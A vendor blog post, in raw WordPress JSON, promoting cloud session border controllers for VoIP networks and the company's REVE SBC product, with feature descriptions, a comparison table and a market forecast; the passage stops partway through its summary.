{"id":3211,"date":"2024-12-13T06:20:20","date_gmt":"2024-12-13T06:20:20","guid":{"rendered":"https:\/\/www.revesoft.com\/blog\/?p=3211"},"modified":"2025-09-05T10:50:37","modified_gmt":"2025-09-05T10:50:37","slug":"cloud-sbc","status":"publish","type":"post","link":"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/","title":{"rendered":"How Cloud SBC Reduces Infrastructure Cost and Complexity?"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">For years, SBCs have been an indispensable part of the SIP-based VoIP networks. SBCs protect these networks from various types of cyber-attacks. And, that&#8217;s just one reason. SBCs also add quality to the flow of communication. Talking about the evolution of SBCs, initially, hardware-based SBCs were the only option to secure the network perimeters. Their on-premises deployment often comes with complex configuration with the business\u2019s PBX system requiring significant infrastructure costs and operational complexities. But in today\u2019s cloud-first world, cloud-based SBCs are taking over the market, of course for good reasons. <\/span>In this post, we are going to highlight how cloud SBC software reduces infrastructure costs and the complexity of a business.<\/p>\n<p>Let&#8217;s begin, shall we?<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_42 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" area-label=\"ez-toc-toggle-icon-1\"><label for=\"item-691d4e0f25cbb\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" 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SBC?\">What is a Cloud SBC?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Key_Features_of_a_Cloud_SBC\" title=\"Key Features of a Cloud SBC\">Key Features of a Cloud SBC<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#SIP_Signaling\" title=\"SIP Signaling\">SIP Signaling<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Media_Transcoding\" title=\"Media Transcoding\">Media Transcoding<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Quality_of_Experience_QoS\" title=\"Quality of Experience (QoS)\">Quality of Experience (QoS)<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#How_do_Cloud_SBCs_Differ_from_Traditional_SBCs\" title=\"How do Cloud SBCs Differ from Traditional SBCs?\">How do Cloud SBCs Differ from Traditional SBCs?<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Comparison_Cloud_SBCs_vs_Traditional_SBCs\" title=\"Comparison: Cloud SBCs vs Traditional SBCs\">Comparison: Cloud SBCs vs Traditional SBCs<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Cost_Reduction_Benefits_of_Cloud_SBCs\" title=\"Cost Reduction Benefits of Cloud SBCs\">Cost Reduction Benefits of Cloud SBCs<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Shift_from_CAPEX_to_OPEX\" title=\"Shift from CAPEX to OPEX\">Shift from CAPEX to OPEX<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Easy_to_Scale\" title=\"Easy to Scale\">Easy to Scale<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Reduced_Maintenance_Cost\" title=\"Reduced Maintenance Cost\">Reduced Maintenance Cost<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#High_Availability\" title=\"High Availability\">High Availability<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Complexity_Reduction_Benefits_of_Cloud_SBCs\" title=\"Complexity Reduction Benefits of Cloud SBCs\">Complexity Reduction Benefits of Cloud SBCs<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Offers_Comprehensive_Security\" title=\"Offers Comprehensive Security\">Offers Comprehensive Security<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Smooths_Complexity_in_Connections_and_Communications\" title=\"Smooths Complexity in Connections and Communications\">Smooths Complexity in Connections and Communications<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Simplifies_Session_Gatekeeping_and_Routing\" title=\"Simplifies Session Gatekeeping and Routing\">Simplifies Session Gatekeeping and Routing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Excellent_Customer_and_Employee_Experiences\" title=\"Excellent Customer and Employee Experiences\">Excellent Customer and Employee Experiences<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Reduced_Infrastructure_Footprint_of_Cloud_SBCs\" title=\"Reduced Infrastructure Footprint of Cloud SBCs\">Reduced Infrastructure Footprint of Cloud SBCs<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#REVE_SBC_Save_Money_and_Improve_Operational_Efficiency\" title=\"REVE SBC: Save Money and Improve Operational Efficiency\">REVE SBC: Save Money and Improve Operational Efficiency<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-20\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Cloud_SBCs_Future_Outlook\" title=\"Cloud SBCs: Future Outlook\">Cloud SBCs: Future Outlook<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-21\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Summary\" title=\"Summary\">Summary<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-22\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Frequently_Asked_Questions\" title=\"Frequently Asked Questions\">Frequently Asked Questions<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-23\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#What_is_the_time-to-market_for_cloud_SBCs\" title=\"What is the time-to-market for cloud SBCs?\">What is the time-to-market for cloud SBCs?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-24\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Can_you_name_a_few_industries_that_can_benefit_from_cloud_SBCs\" title=\"Can you name a few industries that can benefit from cloud SBCs?\">Can you name a few industries that can benefit from cloud SBCs?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-25\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#How_can_organizations_maximize_the_reliability_of_a_cloud_SBC\" title=\"How can organizations maximize the reliability of a cloud SBC?\">How can organizations maximize the reliability of a cloud SBC?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-26\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Do_Virtual_SBCs_integrate_with_existing_on-premise_systems\" title=\"Do Virtual SBCs integrate with existing on-premise systems?\">Do Virtual SBCs integrate with existing on-premise systems?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-27\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Are_there_any_potential_risks_associated_with_the_usage_of_Cloud_SBCs\" title=\"Are there any potential risks associated with the usage of Cloud SBCs?\">Are there any potential risks associated with the usage of Cloud SBCs?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-28\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Do_Virtual_SBCs_have_the_capacity_to_handle_high_call_volumes\" title=\"Do Virtual SBCs have the capacity to handle high call volumes?\">Do Virtual SBCs have the capacity to handle high call volumes?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-29\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#What_are_some_key_benefits_organizations_can_experience_using_cloud_SBCs\" title=\"What are some key benefits organizations can experience using cloud SBCs?\">What are some key benefits organizations can experience using cloud SBCs?<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-30\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Read_Also\" title=\"Read Also\">Read Also<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-31\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#Why_Communication_Service_Providers_Need_an_SBC\" title=\"Why Communication Service Providers Need an SBC?\">Why Communication Service Providers Need an SBC?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-32\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/#An_Overview_of_Session_Border_Controller\" title=\"An Overview of Session Border Controller\">An Overview of Session Border Controller<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"What_is_a_Cloud_SBC\"><\/span>What is a Cloud SBC?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">We know that every cloud-based service runs over the internet. A cloud SBC is a software-based SBC that runs over the cloud infrastructure. Such SBCs do not require physical on-premise installations, thus eliminating the need for dedicated hardware and maintenance.<\/span><\/p>\n<p data-pm-slice=\"1 1 []\">Cloud SBCs are managed by the cloud SBC service providers and are ideal for businesses seeking off-premises solutions with minimal setup and maintenance.<\/p>\n<p>&nbsp;<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Key_Features_of_a_Cloud_SBC\"><\/span>Key Features of a Cloud SBC<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"SIP_Signaling\"><\/span>SIP Signaling<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">SIP, i.e., session initiation protocol, is the standard protocol that establishes, maintains, and terminates real-time sessions. Cloud SBCs act as intermediaries between different communication systems and handle SIP signaling between these systems. From setup, modification, and termination of SIP sessions, cloud SBCs ensure that SIP messages are correctly routed, translated, and processed.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Media_Transcoding\"><\/span>Media Transcoding<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">The process of media transcoding involves the conversion of media streams, such as audio or video, from one codec to another. A codec is an algorithm that is used to encode or decode media for transmission over networks. Media transcoding is required because often different devices or systems use different codecs, leading to compatibility problems.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Cloud SBCs perform media transcoding to ensure that communication endpoints with different codecs do not face compatibility issues. For instance, if one device uses the G.711 codec for audio and another uses the G.729 codec, the SBC can convert the media stream between these codecs, allowing the two devices to communicate seamlessly.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Quality_of_Experience_QoS\"><\/span>Quality of Experience (QoS)<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Cloud SBCs have the fault tolerance capabilities through redundancy, and self-healing mechanisms. This is the reason why cloud session border controllers can ensure 99.999% reliability.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Here, it is important to mention that cloud providers offer different redundancy options, mainly full redundancy, which is usually higher priced, and self-healing options, which are lower in cost with potential service disruptions. This allows businesses to make cost-effective choices.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/www.revesoft.com\/products\/reve-session-border-controller\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-3223 size-full\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2022\/06\/Strip-800-188-4.png\" alt=\"REVE SBC\" width=\"800\" height=\"188\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_do_Cloud_SBCs_Differ_from_Traditional_SBCs\"><\/span>How do Cloud SBCs Differ from Traditional SBCs?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Traditional SBCs were deployed as physical appliances within a company&#8217;s data center or at the edge of the network. They required significant capital investment, ongoing maintenance, and dedicated IT staff to manage them. As communication needs grew more complex, managing these traditional SBCs became increasingly challenging and costly.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Then happened the transition to cloud-based SBCs. The physical, on-premise infrastructure became no more a mandate and was taken over by virtualized and cloud-hosted solutions. The modern dat cloud SBCs offer the same functionalities as those of traditional SBCs but with several key advantages. There are several aspects in terms of which cloud SBCs differ from the traditional ones. Let&#8217;s have a look:<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Comparison_Cloud_SBCs_vs_Traditional_SBCs\"><\/span>Comparison: Cloud SBCs vs Traditional SBCs<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<table>\n<tbody>\n<tr>\n<td>\n<p style=\"text-align: center;\"><b>Feature<\/b><\/p>\n<\/td>\n<td style=\"text-align: center;\">\n<p style=\"text-align: center;\"><b>Cloud SBC<\/b><\/p>\n<\/td>\n<td style=\"text-align: center;\">\n<p style=\"text-align: center;\"><b>Traditional SBC<\/b><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p style=\"text-align: center;\"><b>Deployment<\/b><\/p>\n<\/td>\n<td>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">Software-based, hosted in the cloud<\/span><\/p>\n<\/td>\n<td>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">Physical hardware, on-premises<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p style=\"text-align: center;\"><b>Scalability<\/b><\/p>\n<\/td>\n<td style=\"text-align: center;\"><span style=\"font-weight: 400;\">Easily scalable to meet changing demand<\/span><\/td>\n<td>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">Limited scalability, may require additional hardware<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\"><b>Cost<\/b><\/td>\n<td style=\"text-align: center;\"><span style=\"font-weight: 400;\">Pay-as-you-go pricing, lower upfront costs<\/span><\/td>\n<td>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">Higher upfront costs for hardware and maintenance<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p style=\"text-align: center;\"><b>Management<\/b><\/p>\n<\/td>\n<td>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">Managed by the cloud provider<\/span><\/p>\n<\/td>\n<td>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">Managed by the organization&#8217;s IT team<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\"><b>Flexibility<\/b><\/td>\n<td style=\"text-align: center;\"><span style=\"font-weight: 400;\">Highly flexible and adaptable to changing business needs<\/span><\/td>\n<td>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">Less flexible, requires more planning and coordination<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p style=\"text-align: center;\"><b>Disaster Recovery<\/b><\/p>\n<\/td>\n<td style=\"text-align: center;\"><span style=\"font-weight: 400;\">Built-in redundancy and disaster recovery capabilities<\/span><\/td>\n<td>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">Requires additional planning and investment in redundant hardware<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p style=\"text-align: center;\"><b>Integration<\/b><\/p>\n<\/td>\n<td style=\"text-align: center;\"><span style=\"font-weight: 400;\">Easily integrates with other cloud-based services<\/span><\/td>\n<td style=\"text-align: center;\"><span style=\"font-weight: 400;\">May require more complex integration with on-premises systems<\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\"><b>Security<\/b><\/td>\n<td style=\"text-align: center;\"><span style=\"font-weight: 400;\">High-level security features provided by the cloud provider<\/span><\/td>\n<td>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">Requires ongoing security management and updates<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Cost_Reduction_Benefits_of_Cloud_SBCs\"><\/span>Cost Reduction Benefits of Cloud SBCs<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5504 \" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2022\/06\/Cost-benefits-of-cloud-SBCs-1024x536.jpg\" alt=\"Cost benefits of cloud SBCs\" width=\"715\" height=\"374\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2022\/06\/Cost-benefits-of-cloud-SBCs-1024x536.jpg 1024w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2022\/06\/Cost-benefits-of-cloud-SBCs-300x157.jpg 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2022\/06\/Cost-benefits-of-cloud-SBCs-768x402.jpg 768w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2022\/06\/Cost-benefits-of-cloud-SBCs.jpg 1200w\" sizes=\"auto, (max-width: 715px) 100vw, 715px\" \/><\/p>\n<h3><\/h3>\n<h3><span class=\"ez-toc-section\" id=\"Shift_from_CAPEX_to_OPEX\"><\/span>Shift from CAPEX to OPEX<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">In the past, SBCs were on specialized, purpose-built hardware platforms, using proprietary appliances. Today the trend is towards deploying SBCs in the cloud. This software-centric, low up-front cost solution allows businesses to \u201cpay as you grow\u201d with an array of platform choices. The powerful routing capabilities of the Cloud SBC, along with SIP interworking, lowers service delivery costs through simplified operations.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Easy_to_Scale\"><\/span>Easy to Scale<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">When it was about appliance-based SBCs, a major challenge was choosing the right-sized infrastructure for a business network. Opting for a low-end session border controller might appear as a good way to start due to its lesser cost, but it carries along the risk of creating bottlenecks when the demand increases. On the other hand, deploying a high-end session border controller could be really expensive for the business and would often result in excess capacity.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">However, the cloud approach is more scalable. While there is no on-premise hardware to worry about, cloud SBCs can easily increase\/ decrease concurrent calls as per the company\u2019s requirements.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Reduced_Maintenance_Cost\"><\/span>Reduced Maintenance Cost<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Cloud service providers handle the underlying infrastructure, which includes hardware maintenance,\u00a0 software updates, and security patches. With this, not only does the cost to maintain the system eliminate, but it also frees up the IT team to focus their efforts on core business activities.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"High_Availability\"><\/span>High Availability<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Running a VoIP wholesale business demands 99.99% uptime. If we look at the traditional hardware-based SBCs, then achieving high availability would mean the installation of an additional SBC programmed to take over whenever the primary system goes down.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">This simply means either you have to burn a hole in your pocket or simply run your business with the risk of no backup. But with Cloud <\/span><a href=\"https:\/\/www.revesoft.com\/products\/reve-session-border-controller\"><span style=\"font-weight: 400;\">Session Border Controller<\/span><\/a><span style=\"font-weight: 400;\">, this problem does not arise. Cloud SBC provides carrier-grade redundancy through standby virtual machines which assure a high level of service performance and availability. That\u2019s certainly a more cost-effective solution as compared to that costly redundant hardware.<\/span><\/p>\n<h2><\/h2>\n<h2><span class=\"ez-toc-section\" id=\"Complexity_Reduction_Benefits_of_Cloud_SBCs\"><\/span>Complexity Reduction Benefits of Cloud SBCs<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3><span class=\"ez-toc-section\" id=\"Offers_Comprehensive_Security\"><\/span>Offers Comprehensive Security<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">IP communications systems are an indispensable and critical part of business communications. DDoS attacks, eavesdropping, and fraudulent toll calls are common types of attacks faced by VoIP networks. Modern-day cloud SBCs are capable enough to mitigate the risk of extortion, intrusion, and theft of services. Cloud SBC blocks unauthorized traffic and conceals private network topology from malicious entities to secure critical business communications.<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Topology Hiding is a key feature of SBCs wherein the private IP addresses of an application are not exposed to the outside world but are masked. This is done to prevent the mapping of the private network.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">By detecting, deflecting, and limiting the frequency of attempts, SBCs prevent DoS and DDoS attacks on the network, which otherwise could bring the company\u2019s operations to a complete halt.<\/span><\/li>\n<\/ul>\n<h2><\/h2>\n<h3><span class=\"ez-toc-section\" id=\"Smooths_Complexity_in_Connections_and_Communications\"><\/span>Smooths Complexity in Connections and Communications<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">A business handles different types of networks and protocols in real-time through a variety of IP applications. Different types of streaming formats, audio codecs, media, etc., are some of the elements that make up unified communications. SBCs ensure interworking between incompatible protocols, codecs, and SIP variants by acting as a real-time translator. It fully supports each party throughout each session to ensure that there is no loss of features.<\/span><\/p>\n<h2><\/h2>\n<h3><span class=\"ez-toc-section\" id=\"Simplifies_Session_Gatekeeping_and_Routing\"><\/span>Simplifies Session Gatekeeping and Routing<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">By performing Session Admission Control, SBCs act as network gatekeepers to determine who has the authorization to access the SIP network. With this, bad actors remain at bay from the system, as well as the network traffic remains in order.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">For fairly large SIP networks, multiple SBCs can be used at multiple network borders. So rather than individually configuring each controller, they can be dynamically managed as a central system using one set of routing and policies. This saves a lot of time and money for the business.<\/span><\/p>\n<h2><\/h2>\n<h3><span class=\"ez-toc-section\" id=\"Excellent_Customer_and_Employee_Experiences\"><\/span>Excellent Customer and Employee Experiences<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">There are several ways in which SBCs improve the quality of service when used as a part of UCaas, i.e., Unified Communications as a Service, or CCaaS, i.e., Contact Center as a Service. Take a look:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">By analyzing traffic and optimizing routing, SBCs increase data speeds significantly and also improve the quality of voice calls.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">During higher loads, SBCs can prioritize and redirect sessions so as to maintain performance.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">By detecting and normalizing different SIP dialects, SBCs ensure that your agents enjoy seamless and high-quality calls across multiple devices, that too in real time.<\/span><\/li>\n<\/ul>\n<h3><\/h3>\n<h3><span class=\"ez-toc-section\" id=\"Reduced_Infrastructure_Footprint_of_Cloud_SBCs\"><\/span>Reduced Infrastructure Footprint of Cloud SBCs<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Another significant advantage of using Cloud SBCs is the reduced infrastructure footprint. First, as the need for on-premises hardware gets eliminated, the need for physical space required to house and operate the systems also gets reduced. Second, cloud SBCs reduce the consumption of energy because they don&#8217;t need electricity to power their hardware and cooling systems.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Therefore, it helps companies to reduce their carbon footprint and foster sustainability. Third, the logistical burden on the company gets reduced. This is because maintaining cloud SBCs is the responsibility of the cloud service provider. So whether it is hardware replacement, software updates, or physical inspections, all these tasks are handled by the provider.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span class=\"ez-toc-section\" id=\"REVE_SBC_Save_Money_and_Improve_Operational_Efficiency\"><\/span>REVE SBC: Save Money and Improve Operational Efficiency<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Having the right SBC for your business can help you reduce cost and operational complexity. REVE SBC offers great scalability, and security with high performance by supporting 30K concurrent calls with 2000 CPS from a single node. It comes with a real-time billing platform for hassle-free billing and payment that making it one of the best telecom software. REVE Session Border Controller makes use of intelligent call routing for seamless management of wholesale VoIP traffic.\u00a0 If you are searching for cloud <\/span><a href=\"https:\/\/www.revesoft.com\/blog\/sbc\/question-to-ask-from-sbc-vendors-when-buying-session-border-controller\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">SBC Vendors<\/span><\/a><span style=\"font-weight: 400;\"> or <\/span><a href=\"https:\/\/www.revesoft.com\/blog\/sbc\/importance-virtual-session-border-controller\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">virtual SBC<\/span><\/a><span style=\"font-weight: 400;\"> for your business, then please get in touch with us as our team will guide you in the right direction.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Cloud_SBCs_Future_Outlook\"><\/span>Cloud SBCs: Future Outlook<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<blockquote><p>The global session border controller (SBC) market value is expected to increase from USD 789.31 million in 2024 to USD 1,672.77 million by 2034. The sharp rise in demand points toward a CAGR of 7.80% through 2034. A remarkable driver of the SBC market is the high demand for SBCs from VoIP applications. (Source- <a href=\"https:\/\/www.futuremarketinsights.com\/reports\/session-border-controller-market\" target=\"_blank\" rel=\"noopener\">Future Market Insights\u00a0<\/a>)<\/p><\/blockquote>\n<p><span style=\"font-weight: 400;\">With communication technologies continuing to evolve rapidly, it is highly likely that cloud SBCs will play a prominent and critical role in modern communication networks. The growing adoption of cloud-based services such as UCaaS and CPaaS is already evident. This rising trend shall only intensify the demand for scalable, flexible, and secure communication solutions and cloud SBCs are well-positioned to meet these needs. Cloud SBCs provide organizations with the tools to seamlessly manage complex communication environments while ensuring cost-effectiveness.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Ultimately, we can say that in the coming time, we can see greater integration of communication infrastructure with cloud SBCs, further reducing the cost and complexity of maintaining reliable and high-quality communication services.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Summary\"><\/span>Summary<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">From traditional hardware-based to cloud SBCs &#8211; there has been a huge transformation in the way organizations manage their communication networks. Cloud SBCs have eliminated the need for expensive physical hardware, enabling organizations to shift from capital expenditure and adopt a flexible operational expenditure model. By leveraging cloud SBCs, businesses can simplify their infrastructure management and adapt to the 